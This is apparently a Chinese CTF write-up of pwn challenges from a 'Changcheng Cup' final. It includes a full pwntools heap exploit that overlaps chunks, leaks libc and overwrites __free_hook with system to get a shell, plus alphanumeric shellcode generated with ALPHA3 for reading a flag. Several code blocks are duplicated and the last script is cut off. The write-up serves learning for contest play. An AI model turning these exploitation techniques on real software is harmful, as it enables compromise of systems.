今年 第二届“长城杯”信息安全铁人三项赛(防护赛)总决赛 ,一共 4道 pwn 题,我只打出其中三道题。
总的来说我解出的这三道题目还是比较简单的
一个堆题目,三个功能点,add delete show



这个函数看着比较复杂(我没看明白)

看不太明白 经过手动多次测试 这里是存在堆溢出的, 后面就简单了,构造堆块重叠泄露libc 和控制 fd ,申请到 free_hook 即可

溢出构造一个大堆块 free 后 进入 unsortedbin, 再add 就可以堆块重叠了

比较简单
这题更是简单,直接秒了
有花指令,去掉之后可以看到正常的函数流程
可以设置 is_ne 的值(后续shellcode 的长度),还有泄露 elf 地址,


Shift + f1 调出 Local Tyes 然后 添加 一个新的结构体

再地址处 按y 修改类型,后续根据 name 和 type 来恢复 结构体用于交互


一个简单的 可见字符shellcode

动态调试获取 token,其实就是一个 RC4

我用ALPHA3 工具生成的 可见字符 shellcode
一道简单的 qemu pwn,感觉适合入门学习
附件 给了一个 docker 打包的镜像

把docker 里的 整个/home/ctf/ cp 出来,方便调试

直接用ida 打开 qemu-system-x86_64,
白给的漏洞,没有限制 index 的大小,可以设置到 log_handler,泄露libc 然后修改dprintf 为 system 即可

调试




快要结束时,Pwn 方向 top 10.

unsigned __int64 sub_12FD()
{
int i;
unsigned __int64 v2;
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 15; ++i )
{
if ( qword_2020A8[2 * i] )
{
printf("Data #%d:\n", i);
printf("Data: %s\n", (const char *)qword_2020A8[2 * i]);
}
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_12FD()
{
int i;
unsigned __int64 v2;
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 15; ++i )
{
if ( qword_2020A8[2 * i] )
{
printf("Data #%d:\n", i);
printf("Data: %s\n", (const char *)qword_2020A8[2 * i]);
}
}
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 __fastcall sub_1141(const char *a1)
{
char *s1a;
int i;
int j;
unsigned int v6;
void **v7;
unsigned __int64 v8;
v8 = __readfsqword(0x28u);
for ( i = 0; ; a1 += (unsigned int)(i + 1) )
{
while ( a1[i] != 32 && a1[i] && a1[i] != 58 )
++i;
if ( !a1[i] )
break;
if ( a1[i] != 32 )
{
a1[i] = 0;
if ( !strcmp(a1, "index") )
{
s1a = (char *)&a1[i + 1];
for ( j = 0; s1a[j] != 32 && s1a[j]; ++j )
;
v6 = atoi(s1a);
if ( v6 <= 0xF )
{
v7 = (void **)((char *)&unk_2020A0 + 16 * v6);
if ( v7[1] )
{
free(v7[1]);
v7[1] = 0LL;
*((_DWORD *)v7 + 1) = 0;
printf("Deleted data #%d\n", v6);
}
else
{
puts("No such data!");
}
}
else
{
puts("Invalid index!");
}
}
else
{
puts("Invalid argument");
}
return __readfsqword(0x28u) ^ v8;
}
}
return __readfsqword(0x28u) ^ v8;
}
unsigned __int64 __fastcall sub_1141(const char *a1)
{
char *s1a;
int i;
int j;
unsigned int v6;
void **v7;
unsigned __int64 v8;
v8 = __readfsqword(0x28u);
for ( i = 0; ; a1 += (unsigned int)(i + 1) )
{
while ( a1[i] != 32 && a1[i] && a1[i] != 58 )
++i;
if ( !a1[i] )
break;
if ( a1[i] != 32 )
{
a1[i] = 0;
if ( !strcmp(a1, "index") )
{
s1a = (char *)&a1[i + 1];
for ( j = 0; s1a[j] != 32 && s1a[j]; ++j )
;
v6 = atoi(s1a);
if ( v6 <= 0xF )
{
v7 = (void **)((char *)&unk_2020A0 + 16 * v6);
if ( v7[1] )
{
free(v7[1]);
v7[1] = 0LL;
*((_DWORD *)v7 + 1) = 0;
printf("Deleted data #%d\n", v6);
}
else
{
puts("No such data!");
}
}
else
{
puts("Invalid index!");
}
}
else
{
puts("Invalid argument");
}
return __readfsqword(0x28u) ^ v8;
}
}
return __readfsqword(0x28u) ^ v8;
}
pay = b':title::subtitle:AAAABBBB'
add(pay)
pay = b':title::subtitle:AAAABBBB'
add(pay)
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = '10.10.1.112 111'.replace(' ',':')
binary = './pwn'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript =
.format(**locals())
io = start([])
def add(text):
ru('user@machine$')
pay1 = b'add data:' + text
sl(pay1)
def rm(idx):
ru('user@machine$')
pay1 = b'delete index:' + str(idx).encode()
sl(pay1)
def show():
ru('user@machine$')
pay1 = b'show '
sl(pay1)
pay = b'A' * 0x27
add(pay)
add(b'A'*0xF7)
add(b'HHHHHH1')
add(b'HHHHHH2')
add(b'B'*0xF7)
add(b'C'*0xF7)
add(b'D'*0xF7)
add(b'E'*(0xF7-0x40))
add(b'F'*0xF7)
add(b'F'*0xF7)
add(b'F'*0xF7)
add(b'F'*0xF7)
rm(0)
rm(2)
rm(3)
pay = b':title:AAAAAAAAA:subtitle:A' + p32(0x601)
add(pay)
rm(1)
add(0x4F7*b'A')
show()
ru('Data #8:')
ru(': ')
libc_base = uu64(r(6)) - 0x3ebca0
lss('libc_base')
libc.address = libc_base
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
rm(1)
add(b'Y'*0x127)
rm(1)
add(b'Y'*0x126)
rm(1)
add(b'Y'*0x125)
rm(1)
add(b'Y'*0x120 + p64(free_hook))
add(b'/bin/sh')
add(p64(system))
rm(2)
itr()
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = '10.10.1.112 111'.replace(' ',':')
binary = './pwn'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
gdbscript =
.format(**locals())
io = start([])
def add(text):
ru('user@machine$')
pay1 = b'add data:' + text
sl(pay1)
def rm(idx):
ru('user@machine$')
pay1 = b'delete index:' + str(idx).encode()
sl(pay1)
def show():
ru('user@machine$')
pay1 = b'show '
sl(pay1)
pay = b'A' * 0x27
add(pay)
add(b'A'*0xF7)
add(b'HHHHHH1')
add(b'HHHHHH2')
add(b'B'*0xF7)
add(b'C'*0xF7)
add(b'D'*0xF7)
add(b'E'*(0xF7-0x40))
add(b'F'*0xF7)
add(b'F'*0xF7)
add(b'F'*0xF7)
add(b'F'*0xF7)
rm(0)
rm(2)
rm(3)
pay = b':title:AAAAAAAAA:subtitle:A' + p32(0x601)
add(pay)
rm(1)
add(0x4F7*b'A')
show()
ru('Data #8:')
ru(': ')
libc_base = uu64(r(6)) - 0x3ebca0
lss('libc_base')
libc.address = libc_base
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
rm(1)
add(b'Y'*0x127)
rm(1)
add(b'Y'*0x126)
rm(1)
add(b'Y'*0x125)
rm(1)
add(b'Y'*0x120 + p64(free_hook))
add(b'/bin/sh')
add(p64(system))
rm(2)
itr()
struct ProtobufCFieldDescriptor
{
char *name;
int id;
int label;
int type;
int quantifier_offset;
int offset;
__attribute__((packed)) __attribute__((aligned(1))) __int64 descriptor;
__attribute__((packed)) __attribute__((aligned(1))) __int64 default_value;
int flags;
int reserved_flags;
__int64 reserved2;
__int64 reserved3;
};
struct ProtobufCFieldDescriptor
{
char *name;
int id;
int label;
int type;
int quantifier_offset;
int offset;
__attribute__((packed)) __attribute__((aligned(1))) __int64 descriptor;
__attribute__((packed)) __attribute__((aligned(1))) __int64 default_value;
int flags;
int reserved_flags;
__int64 reserved2;
__int64 reserved3;
};
.data.rel.ro:0000000000004B20 stru_4B20 dq offset aGiaoid ; name
.data.rel.ro:0000000000004B20 ; DATA XREF: .data.rel.ro:0000000000004C78↓o
.data.rel.ro:0000000000004B28 dd 1 ; id ; "giaoid"
.data.rel.ro:0000000000004B2C dd 3 ; label
.data.rel.ro:0000000000004B30 dd 3 ; type
.data.rel.ro:0000000000004B34 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B38 dd 18h ; offset
.data.rel.ro:0000000000004B3C dq 0 ; descriptor
.data.rel.ro:0000000000004B44 dq 0 ; default_value
.data.rel.ro:0000000000004B4C dd 0 ; flags
.data.rel.ro:0000000000004B50 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B54 db 4 dup(0)
.data.rel.ro:0000000000004B58 dq 0 ; reserved2
.data.rel.ro:0000000000004B60 dq 0 ; reserved3
.data.rel.ro:0000000000004B68 ; struct ProtobufCFieldDescriptor ProtobufCFieldDescriptor
.data.rel.ro:0000000000004B68 ProtobufCFieldDescriptor dq offset aGiaosize ; name ; "giaosize"
.data.rel.ro:0000000000004B70 dd 2 ; id
.data.rel.ro:0000000000004B74 dd 3 ; label
.data.rel.ro:0000000000004B78 dd 3 ; type
.data.rel.ro:0000000000004B7C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B80 dd 20h ; offset
.data.rel.ro:0000000000004B84 dq 0 ; descriptor
.data.rel.ro:0000000000004B8C dq 0 ; default_value
.data.rel.ro:0000000000004B94 dd 0 ; flags
.data.rel.ro:0000000000004B98 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B9C db 4 dup(0)
.data.rel.ro:0000000000004BA0 dq 0 ; reserved2
.data.rel.ro:0000000000004BA8 dq 0 ; reserved3
.data.rel.ro:0000000000004BB0 ; struct ProtobufCFieldDescriptor a1
.data.rel.ro:0000000000004BB0 a1 dq offset aGiaocontent ; name ; "giaocontent"
.data.rel.ro:0000000000004BB8 dd 3 ; id
.data.rel.ro:0000000000004BBC dd 3 ; label
.data.rel.ro:0000000000004BC0 dd 0Fh ; type
.data.rel.ro:0000000000004BC4 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004BC8 dd 28h ; offset
.data.rel.ro:0000000000004BCC dq 0 ; descriptor
.data.rel.ro:0000000000004BD4 dq 0 ; default_value
.data.rel.ro:0000000000004BDC dd 0 ; flags
.data.rel.ro:0000000000004BE0 dd 0 ; reserved_flags
.data.rel.ro:0000000000004BE4 db 4 dup(0)
.data.rel.ro:0000000000004BE8 dq 0 ; reserved2
.data.rel.ro:0000000000004BF0 dq 0 ; reserved3
.data.rel.ro:0000000000004BF8 ; struct ProtobufCFieldDescriptor a2
.data.rel.ro:0000000000004BF8 a2 dq offset aGiaotoken ; name ; "giaotoken"
.data.rel.ro:0000000000004C00 dd 4 ; id
.data.rel.ro:0000000000004C04 dd 3 ; label
.data.rel.ro:0000000000004C08 dd 0Fh ; type
.data.rel.ro:0000000000004C0C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004C10 dd 38h ; offset
.data.rel.ro:0000000000004C14 dq 0 ; descriptor
.data.rel.ro:0000000000004C1C dq 0 ; default_value
.data.rel.ro:0000000000004C24 dd 0 ; flags
.data.rel.ro:0000000000004C28 dd 0 ; reserved_flags
.data.rel.ro:0000000000004C2C db 4 dup(0)
.data.rel.ro:0000000000004C30 dq 0 ; reserved2
.data.rel.ro:0000000000004C38 dq 0 ; reserved3
.data.rel.ro:0000000000004B20 stru_4B20 dq offset aGiaoid ; name
.data.rel.ro:0000000000004B20 ; DATA XREF: .data.rel.ro:0000000000004C78↓o
.data.rel.ro:0000000000004B28 dd 1 ; id ; "giaoid"
.data.rel.ro:0000000000004B2C dd 3 ; label
.data.rel.ro:0000000000004B30 dd 3 ; type
.data.rel.ro:0000000000004B34 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B38 dd 18h ; offset
.data.rel.ro:0000000000004B3C dq 0 ; descriptor
.data.rel.ro:0000000000004B44 dq 0 ; default_value
.data.rel.ro:0000000000004B4C dd 0 ; flags
.data.rel.ro:0000000000004B50 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B54 db 4 dup(0)
.data.rel.ro:0000000000004B58 dq 0 ; reserved2
.data.rel.ro:0000000000004B60 dq 0 ; reserved3
.data.rel.ro:0000000000004B68 ; struct ProtobufCFieldDescriptor ProtobufCFieldDescriptor
.data.rel.ro:0000000000004B68 ProtobufCFieldDescriptor dq offset aGiaosize ; name ; "giaosize"
.data.rel.ro:0000000000004B70 dd 2 ; id
.data.rel.ro:0000000000004B74 dd 3 ; label
.data.rel.ro:0000000000004B78 dd 3 ; type
.data.rel.ro:0000000000004B7C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004B80 dd 20h ; offset
.data.rel.ro:0000000000004B84 dq 0 ; descriptor
.data.rel.ro:0000000000004B8C dq 0 ; default_value
.data.rel.ro:0000000000004B94 dd 0 ; flags
.data.rel.ro:0000000000004B98 dd 0 ; reserved_flags
.data.rel.ro:0000000000004B9C db 4 dup(0)
.data.rel.ro:0000000000004BA0 dq 0 ; reserved2
.data.rel.ro:0000000000004BA8 dq 0 ; reserved3
.data.rel.ro:0000000000004BB0 ; struct ProtobufCFieldDescriptor a1
.data.rel.ro:0000000000004BB0 a1 dq offset aGiaocontent ; name ; "giaocontent"
.data.rel.ro:0000000000004BB8 dd 3 ; id
.data.rel.ro:0000000000004BBC dd 3 ; label
.data.rel.ro:0000000000004BC0 dd 0Fh ; type
.data.rel.ro:0000000000004BC4 dd 0 ; quantifier_offset
.data.rel.ro:0000000000004BC8 dd 28h ; offset
.data.rel.ro:0000000000004BCC dq 0 ; descriptor
.data.rel.ro:0000000000004BD4 dq 0 ; default_value
.data.rel.ro:0000000000004BDC dd 0 ; flags
.data.rel.ro:0000000000004BE0 dd 0 ; reserved_flags
.data.rel.ro:0000000000004BE4 db 4 dup(0)
.data.rel.ro:0000000000004BE8 dq 0 ; reserved2
.data.rel.ro:0000000000004BF0 dq 0 ; reserved3
.data.rel.ro:0000000000004BF8 ; struct ProtobufCFieldDescriptor a2
.data.rel.ro:0000000000004BF8 a2 dq offset aGiaotoken ; name ; "giaotoken"
.data.rel.ro:0000000000004C00 dd 4 ; id
.data.rel.ro:0000000000004C04 dd 3 ; label
.data.rel.ro:0000000000004C08 dd 0Fh ; type
.data.rel.ro:0000000000004C0C dd 0 ; quantifier_offset
.data.rel.ro:0000000000004C10 dd 38h ; offset
.data.rel.ro:0000000000004C14 dq 0 ; descriptor
.data.rel.ro:0000000000004C1C dq 0 ; default_value
.data.rel.ro:0000000000004C24 dd 0 ; flags
.data.rel.ro:0000000000004C28 dd 0 ; reserved_flags
.data.rel.ro:0000000000004C2C db 4 dup(0)
.data.rel.ro:0000000000004C30 dq 0 ; reserved2
.data.rel.ro:0000000000004C38 dq 0 ; reserved3
| 数字 |
ProtobufCType |
数据类型 |
描述 |
| 0x00 |
PROTOBUF_C_TYPE_INT32 |
int32 |
32 位有符号整数 |
| 0x01 |
PROTOBUF_C_TYPE_SINT32 |
sint32 |
32 位有符号整数(ZigZag 编码) |
| 0x02 |
PROTOBUF_C_TYPE_SFIXED32 |
sfixed32 |
32 位固定长度有符号整数 |
| 0x03 |
PROTOBUF_C_TYPE_INT64 |
int64 |
64 位有符号整数 |
| 0x04 |
PROTOBUF_C_TYPE_SINT64 |
sint64 |
64 位有符号整数(ZigZag 编码) |
| 0x05 |
PROTOBUF_C_TYPE_SFIXED64 |
sfixed64 |
64 位固定长度有符号整数 |
| 0x06 |
PROTOBUF_C_TYPE_UINT32 |
uint32 |
32 位无符号整数 |
| 0x07 |
PROTOBUF_C_TYPE_FIXED32 |
fixed32 |
32 位固定长度无符号整数 |
| 0x08 |
PROTOBUF_C_TYPE_UINT64 |
uint64 |
64 位无符号整数 |
| 0x09 |
PROTOBUF_C_TYPE_FIXED64 |
fixed64 |
64 位固定长度无符号整数 |
| 0x0A |
PROTOBUF_C_TYPE_FLOAT |
float |
32 位浮点数 |
| 0x0B |
PROTOBUF_C_TYPE_DOUBLE |
double |
64 位浮点数 |
| 0x0C |
PROTOBUF_C_TYPE_BOOL |
bool |
布尔值 |
| 0x0D |
PROTOBUF_C_TYPE_ENUM |
enum |
枚举类型 |
| 0x0E |
PROTOBUF_C_TYPE_STRING |
string |
UTF-8 字符串 |
| 0x0F |
PROTOBUF_C_TYPE_BYTES |
bytes |
字节数组 |
| 0x10 |
PROTOBUF_C_TYPE_MESSAGE |
message |
嵌套消息类型 |
➜ MY_TEST cat 1.py
from pwn import *
context.arch='amd64'
sc =
sc = asm(shellcraft.open('flag',0))
sc += asm(shellcraft.read('rax','rsp',0x100))
sc += asm(shellcraft.write(1,'rsp',0x100))
open('./alpha3/shellcode','wb').write(sc)
import os
os.system('cd ./alpha3/ && python2 ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"')
➜ MY_TEST py 1.py
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0T2I0Q030z3P3G1P3r123V2p01187l0B0y3I3d0C3a133q3p03084y3G7n7m1m0m0o0s3r8O02114z4B0Z0B0k0n0403
➜ MY_TEST cat 1.py
from pwn import *
context.arch='amd64'
sc =
sc = asm(shellcraft.open('flag',0))
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!